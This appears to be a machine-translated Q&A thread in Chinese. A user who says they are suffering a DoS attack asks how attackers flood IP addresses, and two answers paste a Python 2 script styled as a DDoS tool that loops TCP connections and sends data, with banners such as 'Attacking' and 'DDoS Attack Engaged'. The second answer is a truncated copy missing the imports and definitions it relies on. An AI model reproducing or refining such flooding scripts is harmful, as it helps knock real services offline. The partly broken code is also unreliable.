好吧,我最近受到了DoS的攻击,需要了解一些事情。
我知道如果有人在HTTP服务器上发起攻击,他或她会发送HTTP请求以使连接没有超时,并使服务器正常工作。 我的问题是攻击互联网协议地址的DoS攻击者。他们会发送什么样的数据包?我想看看它是如何在代码中完成的。
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("target", 80)) #Hopefully port 80 is an open port
s.send("Some sort of packet that would request the server to do 'work'")
在那个问题之后,如果所有端口都关闭,攻击者会如何攻击你? (防火墙)他们会改为UDP协议,然后通过那里发送吗?因为仅使用连接数据包(s.connect)不足以进行良好的DoS攻击。
我的问题非常多。 DoS'ers如何很好地填充IP服务器上的连接,为什么? 如果我感到困惑,请告诉我原因。
答案 0 :(得分:1)
import time, socket, os, sys, string
def restart_program():
python = sys.executable
os.execl(python, python, * sys.argv)
curdir = os.getcwd()
print ("DDoS mode loaded")
host="127.0.0.1"
port=80
message="+---------------------------+"
conn=100
ip = socket.gethostbyname(host)
print ("[" + ip + "]")
print ( "[Ip is locked]" )
print ( "[Attacking " + host + "]" )
print ("+----------------------------+")
def dos():
#pid = os.fork()
ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
ddos.connect((host, port))
ddos.send( message )
ddos.sendto( message, (ip, port) )
ddos.send( message );
except socket.error, msg:
print("|[Connection Failed] |")
print ( "|[DDoS Attack Engaged] |")
ddos.close()
for i in range(1, conn):
dos()
print ("+----------------------------+")
print("The connections you requested had finished")
if __name__ == "__main__":
answer = raw_input("Do you want to ddos more?")
if answer.strip() in "y Y yes Yes YES".split():
restart_program()
else:
print "bye"
发现此代码来自:Getting error when my python ddos script running
修正了一些错误..
答案 1 :(得分:-3)
print ("[" + ip + "]")
print ( "[Ip is locked]" )
print ( "[Attacking " + host + "]" )
print ("+----------------------------+")
def dos():
#pid = os.fork()
ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
ddos.connect((host, 80))
ddos.send( message )
ddos.sendto( message, (ip, port) )
ddos.send( message );
except socket.error, msg:
print("|[Connection Failed] |")
print ( "|[DDoS Attack Engaged] |")
ddos.close()
for i in range(1, conn):
dos()
print ("+----------------------------+")
print("The connections you requested had finished")
if __name__ == "__main__":
answer = raw_input("Do you want to ddos more?")
if answer.strip() in "y Y yes Yes YES".split():
restart_program()
else:
os.system(curdir+"Deqmain.py")
HOPE THIS HELPS!